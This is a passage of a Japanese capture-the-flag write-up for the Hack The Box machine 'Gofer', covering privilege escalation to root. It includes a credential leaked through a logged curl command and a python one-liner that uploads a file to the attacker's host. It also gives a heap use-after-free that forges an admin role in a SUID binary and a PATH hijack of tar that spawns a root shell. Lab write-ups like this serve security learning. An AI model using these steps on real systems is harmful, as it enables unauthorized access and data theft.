2023/08/09 21:28:46 CMD: UID=0 PID=82 |
2023/08/09 21:28:46 CMD: UID=0 PID=81 |
2023/08/09 21:28:46 CMD: UID=0 PID=80 |
2023/08/09 21:28:46 CMD: UID=0 PID=79 |
2023/08/09 21:28:46 CMD: UID=0 PID=78 |
2023/08/09 21:28:46 CMD: UID=0 PID=77 |
2023/08/09 21:28:46 CMD: UID=0 PID=76 |
2023/08/09 21:28:46 CMD: UID=0 PID=75 |
2023/08/09 21:28:46 CMD: UID=0 PID=74 |
2023/08/09 21:28:46 CMD: UID=0 PID=73 |
2023/08/09 21:28:46 CMD: UID=0 PID=72 |
2023/08/09 21:28:46 CMD: UID=0 PID=71 |
2023/08/09 21:28:46 CMD: UID=0 PID=70 |
2023/08/09 21:28:46 CMD: UID=0 PID=69 |
2023/08/09 21:28:46 CMD: UID=0 PID=68 |
2023/08/09 21:28:46 CMD: UID=0 PID=67 |
2023/08/09 21:28:46 CMD: UID=0 PID=66 |
2023/08/09 21:28:46 CMD: UID=0 PID=65 |
2023/08/09 21:28:46 CMD: UID=0 PID=64 |
2023/08/09 21:28:46 CMD: UID=0 PID=63 |
2023/08/09 21:28:46 CMD: UID=0 PID=62 |
2023/08/09 21:28:46 CMD: UID=0 PID=61 |
2023/08/09 21:28:46 CMD: UID=0 PID=60 |
2023/08/09 21:28:46 CMD: UID=0 PID=59 |
2023/08/09 21:28:46 CMD: UID=0 PID=58 |
2023/08/09 21:28:46 CMD: UID=0 PID=57 |
2023/08/09 21:28:46 CMD: UID=0 PID=56 |
2023/08/09 21:28:46 CMD: UID=0 PID=54 |
2023/08/09 21:28:46 CMD: UID=0 PID=53 |
2023/08/09 21:28:46 CMD: UID=0 PID=52 |
2023/08/09 21:28:46 CMD: UID=0 PID=51 |
2023/08/09 21:28:46 CMD: UID=0 PID=50 |
2023/08/09 21:28:46 CMD: UID=0 PID=32 |
2023/08/09 21:28:46 CMD: UID=0 PID=31 |
2023/08/09 21:28:46 CMD: UID=0 PID=30 |
2023/08/09 21:28:46 CMD: UID=0 PID=29 |
2023/08/09 21:28:46 CMD: UID=0 PID=28 |
2023/08/09 21:28:46 CMD: UID=0 PID=27 |
2023/08/09 21:28:46 CMD: UID=0 PID=25 |
2023/08/09 21:28:46 CMD: UID=0 PID=24 |
2023/08/09 21:28:46 CMD: UID=0 PID=23 |
2023/08/09 21:28:46 CMD: UID=0 PID=20 |
2023/08/09 21:28:46 CMD: UID=0 PID=18 |
2023/08/09 21:28:46 CMD: UID=0 PID=17 |
2023/08/09 21:28:46 CMD: UID=0 PID=16 |
2023/08/09 21:28:46 CMD: UID=0 PID=15 |
2023/08/09 21:28:46 CMD: UID=0 PID=13 |
2023/08/09 21:28:46 CMD: UID=0 PID=12 |
2023/08/09 21:28:46 CMD: UID=0 PID=11 |
2023/08/09 21:28:46 CMD: UID=0 PID=10 |
2023/08/09 21:28:46 CMD: UID=0 PID=9 |
2023/08/09 21:28:46 CMD: UID=0 PID=8 |
2023/08/09 21:28:46 CMD: UID=0 PID=6 |
2023/08/09 21:28:46 CMD: UID=0 PID=4 |
2023/08/09 21:28:46 CMD: UID=0 PID=3 |
2023/08/09 21:28:46 CMD: UID=0 PID=2 |
2023/08/09 21:28:46 CMD: UID=0 PID=1 | /sbin/init
2023/08/09 21:29:01 CMD: UID=0 PID=21910 | /usr/sbin/CRON -f
2023/08/09 21:29:01 CMD: UID=0 PID=21909 | /usr/sbin/CRON -f
2023/08/09 21:29:01 CMD: UID=0 PID=21911 | /usr/sbin/CRON -f
2023/08/09 21:29:01 CMD: UID=0 PID=21913 | /usr/sbin/CRON -f
2023/08/09 21:29:01 CMD: UID=0 PID=21912 |
2023/08/09 21:29:01 CMD: UID=0 PID=21914 | /usr/bin/curl http://proxy.gofer.htb/?url=http://gofer.htb --user tbuckley:ooP4dietie3o_hquaeti
2023/08/09 21:29:01 CMD: UID=0 PID=21915 | /bin/sh -c /root/scripts/mail.sh
2023/08/09 21:29:01 CMD: UID=0 PID=21917 | /bin/bash /root/scripts/mail.sh
2023/08/09 21:29:01 CMD: UID=0 PID=21921 | /bin/bash /root/scripts/mail.sh
2023/08/09 21:29:01 CMD: UID=0 PID=21920 | /usr/sbin/CRON -f
2023/08/09 21:29:01 CMD: UID=0 PID=21922 | /usr/sbin/CRON -f
2023/08/09 21:29:01 CMD: UID=0 PID=21923 | /usr/sbin/postdrop -r
2023/08/09 21:29:01 CMD: UID=0 PID=21924 | /usr/sbin/sendmail -FCronDaemon -i -B8BITMIME -oem root
何やらcurlコマンドの実行履歴が見える。
それにUserとPasswordが見える。
これでSSH試行してみる。
あっさり入れました。
これでUserフラグゲットです!!
Privilege Escalation - Vertical
linpeas
以下のサイトからlinpeas.shをダウンロードしてくる。
実行権限をつけて起動します。
tbuckley@gofer:/tmp$ ./linpeas.sh
▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄
▄▄▄▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄
▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄ ▄▄▄▄▄▄ ▄
▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄
▄▄ ▄▄▄ ▄▄▄▄▄ ▄▄▄
▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄
▄ ▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄
▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄
▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄▄ ▄▄▄▄
▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ ▄ ▄▄
▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄
▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▀▀▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▀▀▀▀▀▀
▀▀▀▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▀▀
▀▀▀▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▀▀▀
/---------------------------------------------------------------------------------\
| Do you like PEASS? |
|---------------------------------------------------------------------------------|
| Get the latest version : https://github.com/sponsors/carlospolop |
| Follow on Twitter : @hacktricks_live |
| Respect on HTB : SirBroccoli |
|---------------------------------------------------------------------------------|
| Thank you! |
\---------------------------------------------------------------------------------/
linpeas-ng by carlospolop
ADVISORY: This script should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own computers and/or with the computer owner's permission.'
Linux Privesc Checklist: https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist
LEGEND:
RED/YELLOW: 95% a PE vector
RED: You should take a look to it
LightCyan: Users with console
Blue: Users without console & mounted devs
Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs)
LightMagenta: Your username
Starting linpeas. Caching Writable Folders...
╔═══════════════════╗
═══════════════════════════════╣ Basic information ╠═══════════════════════════════
╚═══════════════════╝
OS: Linux version 5.10.0-23-amd64 (debian-kernel@lists.debian.org) (gcc-10 (Debian 10.2.1-6) 10.2.1 20210110, GNU ld (GNU Binutils for Debian) 2.35.2) #1 SMP Debian 5.10.179-2 (2023-07-14)
User & Groups: uid=1002(tbuckley) gid=1002(tbuckley) groups=1002(tbuckley),1004(dev)
Hostname: gofer.htb
Writable folder: /dev/shm
[+] /usr/bin/ping is available for network discovery (linpeas can discover hosts, learn more with -h)
[+] /usr/bin/bash is available for network discovery, port scanning and port forwarding (linpeas can discover hosts, scan ports, and forward ports. Learn more with -h)
[+] /usr/bin/nc is available for network discovery & port scanning (linpeas can discover hosts and scan ports, learn more with -h)
Caching directories . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . DONE
╔════════════════════╗
══════════════════════════════╣ System Information ╠══════════════════════════════
╚════════════════════╝
╔══════════╣ Operative system
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#kernel-exploits
Linux version 5.10.0-23-amd64 (debian-kernel@lists.debian.org) (gcc-10 (Debian 10.2.1-6) 10.2.1 20210110, GNU ld (GNU Binutils for Debian) 2.35.2) #1 SMP Debian 5.10.179-2 (2023-07-14)
Distributor ID: Debian
Description: Debian GNU/Linux 11 (bullseye)
Release: 11
Codename: bullseye
╔══════════╣ Sudo version
sudo Not Found
...省略
╔══════════╣ Analyzing Other Interesting Files (limit 70)
-rw-r--r-- 1 root root 3526 Mar 27 2022 /etc/skel/.bashrc
-rw-r--r-- 1 ablake ablake 3526 Mar 27 2022 /home/ablake/.bashrc
-rw-r--r-- 1 jdavis jdavis 3526 Mar 27 2022 /home/jdavis/.bashrc
-rw-r--r-- 1 jhudson jhudson 3526 Oct 28 2022 /home/jhudson/.bashrc
-rw-r--r-- 1 tbuckley tbuckley 3526 Mar 27 2022 /home/tbuckley/.bashrc
-rw-r--r-- 1 root root 807 Mar 27 2022 /etc/skel/.profile
-rw-r--r-- 1 ablake ablake 807 Mar 27 2022 /home/ablake/.profile
-rw-r--r-- 1 jdavis jdavis 807 Mar 27 2022 /home/jdavis/.profile
-rw-r--r-- 1 jhudson jhudson 807 Oct 28 2022 /home/jhudson/.profile
-rw-r--r-- 1 tbuckley tbuckley 807 Mar 27 2022 /home/tbuckley/.profile
╔════════════════════════════════════╗
══════════════════════╣ Files with Interesting Permissions ╠══════════════════════
╚════════════════════════════════════╝
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
-rwsr-xr-- 1 root messagebus 51K Oct 5 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 471K Jul 1 2022 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 19K Jan 13 2022 /usr/libexec/polkit-agent-helper-1
-rwsr-xr-x 1 root root 35K Feb 26 2021 /usr/bin/fusermount
-rwsr-xr-x 1 root root 55K Jan 20 2022 /usr/bin/mount ---> Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8
-rwsr-xr-x 1 root root 63K Feb 7 2020 /usr/bin/passwd ---> Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)
-rwsr-xr-x 1 root root 35K Jan 20 2022 /usr/bin/umount ---> BSD/Linux(08-1996)
-rwsr-xr-x 1 root root 87K Feb 7 2020 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 52K Feb 7 2020 /usr/bin/chsh
-rwsr-xr-x 1 root root 23K Jan 13 2022 /usr/bin/pkexec ---> Linux4.10_to_5.1.17(CVE-2019-13272)/rhel_6(CVE-2011-1485)
-rwsr-xr-x 1 root root 71K Jan 20 2022 /usr/bin/su
-rwsr-xr-x 1 root root 58K Feb 7 2020 /usr/bin/chfn ---> SuSE_9.3/10
-rwsr-xr-x 1 root root 44K Feb 7 2020 /usr/bin/newgrp ---> HP-UX_10.20
-rwsr-s--- 1 root dev 17K Apr 28 16:06 /usr/local/bin/notes (Unknown SUID binary!)
╔══════════╣ SGID
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
-rwxr-sr-x 1 root ssh 347K Jul 1 2022 /usr/bin/ssh-agent
-rwxr-sr-x 1 root shadow 79K Feb 7 2020 /usr/bin/chage
-rwxr-sr-x 1 root shadow 31K Feb 7 2020 /usr/bin/expiry
-rwxr-sr-x 1 root tty 23K Jan 20 2022 /usr/bin/write.ul (Unknown SGID binary)
-rwxr-sr-x 1 root mail 23K Feb 4 2021 /usr/bin/dotlockfile
-rwxr-sr-x 1 root tty 35K Jan 20 2022 /usr/bin/wall
-rwxr-sr-x 1 root crontab 43K Feb 22 2021 /usr/bin/crontab
-r-xr-sr-x 1 root postdrop 19K Jan 22 2023 /usr/sbin/postdrop
-r-xr-sr-x 1 root postdrop 23K Jan 22 2023 /usr/sbin/postqueue
-rwxr-sr-x 1 root shadow 38K Aug 26 2021 /usr/sbin/unix_chkpwd
-rwsr-s--- 1 root dev 17K Apr 28 16:06 /usr/local/bin/notes (Unknown SGID binary)
...省略
/usr/local/bin/notes
がこのUserのGroupでSUID持って回せそうだぞ。
こいつを悪用する感じかな。
notes
の動きをKaliで詳細調査するために転送をしましょう!
Transfer
uploadserverを起動します。
┌──(root㉿kalimsi)-[~/work/gofer]
└─# python3 -m uploadserver
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
攻略対象マシンで以下のコマンドを実行します。
python3 -c "import requests;requests.post(\"http://10.10.14.32:8000/upload\",files={\"files\":open(\"/usr/local/bin/notes\",\"rb\")})"
Uploadが以下のように成功してたらOKです。
※普通はmd5sumでしっかりハッシュ値を確認します。
┌──(root㉿kalimsi)-[~/work/gofer]
└─# python3 -m uploadserver
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.225 - - [09/Aug/2023 21:41:58] [Uploaded] "notes" --> /root/work/gofer/notes
10.10.11.225 - - [09/Aug/2023 21:41:58] "POST /upload HTTP/1.1" 200 -
さて、Localで解析を開始しましょうかね。
Reversing
Ghidra
void main(void)
{
__uid_t _Var1;
int iVar2;
undefined4 local_1c;
void *local_18;
void *local_10;
local_1c = 0;
local_10 = (void *)0x0;
local_18 = (void *)0x0;
do {
puts(
"====================================== ==\n1) Create an user and choose an usernam e\n2) Show user information\n3) Delete an user\n4) Write a note\n5) Show a note\n6) S ave a note (not yet implemented)\n7) Delet e a note\n8) Backup notes\n9) Quit\n====== ==================================\n\n"
);
printf("Your choice: ");
__isoc99_scanf(&DAT_0010212b,&local_1c);
puts("");
switch(local_1c) {
default:
/* WARNING: Subroutine does not retur n */
exit(0);
case 1:
local_10 = malloc(0x28);
if (local_10 == (void *)0x0) {
/* WARNING: Subroutine does not retur n */
exit(-1);
}
memset(local_10,0,0x18);
memset((void *)((long)local_10 + 0x18),0,0 x10);
_Var1 = getuid();
if (_Var1 == 0) {
*(undefined4 *)((long)local_10 + 0x18) = 0 x696d6461;
*(undefined *)((long)local_10 + 0x1c) = 0x 6e;
}
else {
*(undefined4 *)((long)local_10 + 0x18) = 0 x72657375;
}
printf("Choose an username: ");
__isoc99_scanf(&DAT_00102144,local_10);
puts("");
break;
case 2:
if (local_10 == (void *)0x0) {
puts("First create an user!\n");
}
else {
printf("\nUsername: %s\n",local_10);
printf("Role: %s\n\n",(long)local_10 + 0x 18);
}
break;
case 3:
if (local_10 != (void *)0x0) {
free(local_10);
}
break;
case 4:
local_18 = malloc(0x28);
memset(local_18,0,0x28);
if (local_18 == (void *)0x0) {
/* WARNING: Subroutine does not retur n */
exit(-1);
}
puts("Write your note:");
__isoc99_scanf(&DAT_0010218b,local_18);
break;
case 5:
printf("Note: %s\n\n",local_18);
break;
case 6:
puts("Coming soon!\n");
break;
case 7:
if (local_18 != (void *)0x0) {
free(local_18);
local_18 = (void *)0x0;
}
break;
case 8:
if (local_10 == (void *)0x0) {
puts("First create an user!\n");
}
else {
iVar2 = strcmp((char *)((long)local_10 + 0 x18),"admin");
if (iVar2 == 0) {
puts("Access granted!");
setuid(0);
setgid(0);
system("tar -czvf /root/backups/backup_ notes.tar.gz /opt/notes");
}
else {
puts("Access denied: you don\'t have the a dmin role!\n");
}
}
}
} while( true );
}
実際にこのバイナリを起動してみればある程度わかると思うが、最初にどの機能を利用するか聞かれた後にCase文でそれぞれの処理に飛ばす感じだ。
case 8
を見てもらうと分かりやすいが、Full Pathを指定せずにtar
コマンドを実行している。
これを考慮すると、tarに/bin/bash
などのExploitを仕込んでおいてPath
をその仕込んだtarファイルがある場所(今回はtmp
に仕込んだ)を注入すればOKだろう。
ただこのcase 8
に飛ぶためには以下のadmin判定をなんとかしないとelseでAccess denied
されてしまう。
iVar2 = strcmp((char *)((long)local_10 + 0 x18),"admin");
admin判定にはlocal_10
の変数が関係ありそうに使われているわけだが、これはcase 1
でも以下のように呼び出されており、mallocでメモリ確保されている。これが確保されていない場合(Userが作られてない場合)はcase 8
のif (local_10 == (void *)0x0)
で弾かれてFirst create an user!
言われるわけだ。
case 1:
local_10 = malloc(0x28);
更にcase 1
を見てみると以下のコードでUserの権限を確認していることがわかる。
_Var1 = getuid();
if (_Var1 == 0) {
*(undefined4 *)((long)local_10 + 0x18) = 0 x696d6461;
*(undefined *)((long)local_10 + 0x1c) = 0x 6e;
}
else {
*(undefined4 *)((long)local_10 + 0x18) = 0 x72657375;
}
local_10 + 0x18
にUserの権限フラグか何かを投入しているみたいだ。なるほど。
よくわからんから動的にデバックして更なる解析を実施する。
radare2
radare2を使ってデバックしちゃいます!
Boxにはわざわざgdbが使えるようにインストールされていましたがr2派閥なので...
とりあえず権限をバイナリに読み取られてしまうようなのでUser権限で以下を実行します。
※notesには実行権限を付与しておきましょう。
┌──(taksec㉿kalimsi)-[~]
└─# r2 -A -d notes
pdf @main
コマンドでmain関数のディスアセンブルを確認し、機能をswitchする命令部分でブレイクポイントを設定(dbコマンド)します。
これで色々と機能を追いやすくなるはずなので。
メモリの横にb
フラグが立てば成功です。
さて、ではdc
コマンドで実行します。Userを入力する画面では42で確認しやすいようにBBB
と入力します。
このBBB(424242)がどこに保存されているかビジュアルモード(V!コマンド)で確認しにいきます。
rsiのレジスタの値を確認しにいくとここに保存されているようでした。ここがlocal_10に当たる部分ですかね。このまま何もせずにcase 8
を起動するためにcase 8
の部分のアセンブリを眺めにいきます。
わかんないのでadd rax 0x18
している部分にブレークポイントを仕込みます。(Ghidraでも見た18バイト操作)
この状態でraxのレジストリを確認しにいきます。あ、さっきのUser名がいる。
ではこのadd rax 0x18
を実施した後の動作を確認します。その為に直後にブレークポイントを設定します。
先ほどと同様にraxのレジストリを確認してみると先ほどUser名が格納されていたメモリから18バイト(24文字)分の値が抜け落ちています。
あー!このraxをrdiに入れて、adminの値を入れてるrsiとstrcmpを呼び出して比較してるわけか。(一気に3行分のcase 8
のアセンブリを読みました。)ある程度動きが読めました。
また、case 4
の機能をいじっているとわかるのですが、このNoteの名前を保存する機能(case 4
)の保存先もrsiを見ればわかりますが、0x561e27a356b0
です。バッファーオーバーフローでcase 4
経由で24文字の余分な文字を含んだNoteの名前を作成すれば、admin権限を読み取るメモリを汚染できるのではと考えます。
というわけで、以下のようなNoteをcase 4
経由で作成します。
AAAAAAAAAAAAAAAAAAAAAAAAadmin
先ほどのUser:BBBを作成した後にcase 3
を使い、クリアした後にこのNoteをcase 4
で叩き込みます。
そうすると、以下のようにrsiが変化します。
これで先ほどと同じようにadd rax 0x18
を実行させると以下のraxのようになります。
admin
の16進数文字(61646d696e)が読み込まれそうですね。そのままdcで実行します。
うまくtar実行のコマンドまで辿り着いているみたいです!
よし!!あとはtarコマンドを偽装するだけだ!
PATH汚染
まず偽装するtarファイルを作成します。
/bin/bash
次にPATHの環境変数を汚染します。
tbuckley@gofer:/tmp$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
tbuckley@gofer:/tmp$ export PATH=/tmp:$PATH
tbuckley@gofer:/tmp$ echo $PATH
/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
これで悪性なtarファイルを実行できます。
先ほどLocalで実行した手順でnotesを回します。
特権奪取に成功しました!!!
まとめ
これで特権昇格に成功し、Root権限奪取に成功しました。
Hardの初PWNということもあってとても嬉しかったです。そしてとても難しかったです。(でもSandwormの方が難しかった印象。)
これで念願のPro Hacker昇格を果たしました。ありがとうございます。Proです。
今回もセキュリティエンジニアの皆さんの助けになればなと思います。